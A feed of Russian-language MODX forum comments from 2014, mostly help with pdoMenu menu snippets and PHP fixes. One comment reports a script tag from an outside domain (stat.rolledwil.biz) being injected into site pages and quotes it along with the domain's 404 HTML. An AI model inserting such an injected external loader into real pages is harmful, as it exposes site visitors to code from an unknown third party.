Всего 122 808 комментариев

Andrey Evteev
13 июня 2014, 02:24
0
Отличная новость!
Виктор Долгий
12 июня 2014, 19:52
0
Забавно и неудобно то, что при указании разделителя десятичных запятой — перестают обрезаться нули.
Wassi Wassinen
12 июня 2014, 17:29
0
MODX Revolution 2.2.14-pl (traditional)

В тело страницы встраивается скрипт:

<noindex>
<script src="//stat.rolledwil.biz/stat.php?1782088863">
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>stat.rolledwil.biz | 404 - Page Cannot Be Found</title>
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0">
<script type="text/javascript">
//<![CDATA[
try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:0,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dokv=abba2f56bd/"},atok:"5047ed6a2144b0cfeb30e7ca35d0d6f3",petok:"91212d61a766ed0b4f8a5a845e2a88ed20996fe1-1402573675-1800",zone:"rolledwil.biz",rocket:"0",apps:{]}};CloudFlare.push({"apps":{"ape":"e3c1ce8734f89578ecdc038aade45010"}});!function(a,b){a=document.createElement("script"),b=document.getElementsByTagName("script")[0],a.async=!0,a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dokv=97fb4d042e/cloudflare.min.js",b.parentNode.insertBefore(a,b)}()}}catch(e){};
//]]>
</script>
<link rel="stylesheet" href="/cdn-cgi/se/themes/core.css" />
<link rel="stylesheet" href="/cdn-cgi/se/themes/mountain-view/styles.css" />
<script src="/cdn-cgi/se/javascripts/modernizr.js"></script>
</head>
<body class="mountain-view simple">
<div class="smart-error">
<header>
<h1>The page you are looking for cannot be found.</h1>
<p>Similar results are provided below, or you can try another search</p>
</header>
<div class="main">
<div class="container search">
<form action="//blekko.com/ws/" method="GET" target="_blank">
<div class="query-input">
<input type="hidden" name="source" value="e8802460">
<input type="hidden" name="param1" value="stat.rolledwil.biz">
<input type="text" name="q">
</div>
<div class="buttons">
<div class="site button"><span>Search site</span></div>
<div class="web button"><input type="submit" value="Search web"></div>
</div>
</form>
</div>
<div class="container content">
<div class="fallback-content">
<h2>To find the missing content, try these steps:</h2>
<ol>
<li>Visit the domain home page</li>
<li><a rel="nofollow" href="." target="_self">Reload this page</a></li>
<li>Search for the missing content with the search box above</li>
</ol>
</div>
<div class="loading-indicator">
<h2>Loading...</h2>
</div>
</div>
</div>
<footer>
<p>SmartErrors powered by <span><a rel="nofollow" href="https://www.cloudflare.com/">CloudFlare</a></span><span><a rel="nofollow" href="https://www.cloudflare.com/security-policy">Privacy policy</a></span></p>
</footer>
</div>
<script type="text/javascript">
CloudFlare.push(function(require, define) {
window.require = require;
window.define = define;
define.amd.jQuery = 1;
define('handlebars', ['/cdn-cgi/se/javascripts/handlebars.js'], function() {
return Handlebars;
});
require(['cloudflare/config'], function(config) {
if(config.zone == 'cloudflare.com') {
var gaId = '_gaq',
ga = window[gaId] = window[gaId] || [];
ga.push(['_setAccount', 'UA-10218544-8']);
ga.push(['_setDomainName', 'cloudflare.com']);
ga.push(['_trackPageview']);
(function() {
var gs = document.createElement('script'); gs.type = 'text/javascript'; gs.async = true;
gs.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(gs, s);
})();
}
});
require.paths.smarterror =
require.paths.backbone =
require.paths.underscore =
require.paths.handlebars =
require.paths.jquery = '/cdn-cgi/se/javascripts';
require(['smarterror']);
});
</script>
<noscript>
<img src="/cdn-cgi/ping?cf[action]=load&cf[location]=smarterror&cf[js]=0" width="0" height="0">
</noscript>
</body>
</html> 
</script>
</noindex>
Федор
12 июня 2014, 15:54
+2
Супер! Спасибо!
Василий Наумкин
12 июня 2014, 09:25
0
Я подсказал общее направление, дальше сам разбирайся.

У меня, извини, времени нет дальше помогать.
Евгений
12 июня 2014, 09:21
0
Делаю вот так: вызываю в шаблоне pdoMenu:
[[pdoMenu?
    &parents=`5`
    &level=`4`
    &hideSubMenus=`1`
    &tpl=`menu.UL`
]]
В чанке menu.UL лежит вот такая простенькая конструкция:
<li[[+classes]]>
    [[!checkParent?
    	&id=`[[+id]]`
    	&menutitle=`[[+menutitle]]`
    ]]
</li>
И всё это хозяйство вместе вызывает ваш сниппет:
<?php
$parents = $modx->getParentIds($id);

if (in_array($modx->resource->id, $parents)) 
{
    return $modx->runSnippet('pdoMenu', array('parents' => $id));
}else {
    $url = $modx->makeUrl($id, $modx->context->key, '', $modx->getOption('link_tag_scheme', null, '-1'));
	return "<a href=\"$url\">$menutitle</a>";
}
Возвращает только первый, верхний уровень меню.
Василий Наумкин
12 июня 2014, 08:45
0
Угу, тогда сделай чуть длиннее, но правильнее:
$url = $modx->makeUrl($id, $modx->context->key, '', $modx->getOption('link_tag_scheme', null, '-1'));
return "<a href=\"$url\">$menutitle</a>";
Евгений
12 июня 2014, 08:39
0
Ясно. Заработало. URL не генерируется.

[2014-06-12 08:37:53] (ERROR @ /index.php) `[[+948]]` is not a valid integer and may not be passed to makeUrl()
Как я понимаю, ругается на [[~[[+$id]]]]
Василий Наумкин
12 июня 2014, 08:24
0
Это я ошибся, должно быть getParentIds

?> в сниппетах не не нужно — PSR-2, пункт 2.2
Василий Столейков
12 июня 2014, 08:02
0
У меня такая проблема была. На несколько милисекунд появляется стандартная картинка минишопа (пока не загрузится основная). Я просто нарисовал картинку таких же размеров на основе минишоповской, но с логотипом магазина и указал дефолтную картинку в вызове галереи (кажется). Очень гламурный получился костыль.
Евгений
12 июня 2014, 07:44
0
Пробую писать сам, пока никто не откликается. При вот таком запросе (я поправил ваш по мелочи):
<?php
$parents = $modx->getParentsIds($id);

if (in_array($modx->resource->id, $parents)) 
{
    return $modx->runSnippet('pdoMenu', array('parents' => $id));
}else {
	return "<a href='[[~[[+$id]]]]'>$menutitle</a>";
}
?>
Ругается на то, что Call to undefined method modX::getParentsIds().
Василий Наумкин
12 июня 2014, 07:16
0
Примерный сниппет checkParent (не проверял)
<?php
// Получаем всех родителей от указанного id
$parents = $modx->getParentsIds($id);

// Проверяем, есть ли в них текущий документ MODX
if (in_array($modx->resource->id, $parents) {
	// Если есть - это активная ветка, вызываем pdoMenu
	return $modx->runSnippet('pdoMenu', array(
		'parents' => $id,
		// Другие параметры
	));
}
// Если нет - отдаём ссылку на пункт меню
else {
	return "<li><a href="[[~[[+$id]]]]">$menutitle</a></li>"
}

Вызов в чанке основного pdoMenu, вместо [[+wrapper]]:
[[!checkParent?
	&id=`[[+id]]`
	&menutitle=`[[+menutitle]]`
]]

Нужно проверять и доделывать, но направление примерно такое.
Евгений
12 июня 2014, 07:09
0
Ок, спасибо. Написание сниппета я не осилю, поэтому пойду в раздел «Работа» и попробую заказать у кого-нибудь.
Василий Наумкин
12 июня 2014, 07:07
0
Одним вызовом — нет, нельзя.

hideSubMenus при вызове в чанках можно сэмулировать своим сниппетом, который будет определять текущую ветку документов и или запускать pdoMenu, или нет.
Василий Наумкин
12 июня 2014, 05:08
0
Что за GET запрос? Какая версия MODX?
Федор
11 июня 2014, 18:10
-1
Лучше реферальную программу, хостинг и так дешевый.
Wassi Wassinen
11 июня 2014, 16:52
0
Плюс предложить тем, у кого есть сайты, посвященные MODx — разместить у себя информер с рекламой вашего хостинга, а им дать скидку непосредственно на хостинг.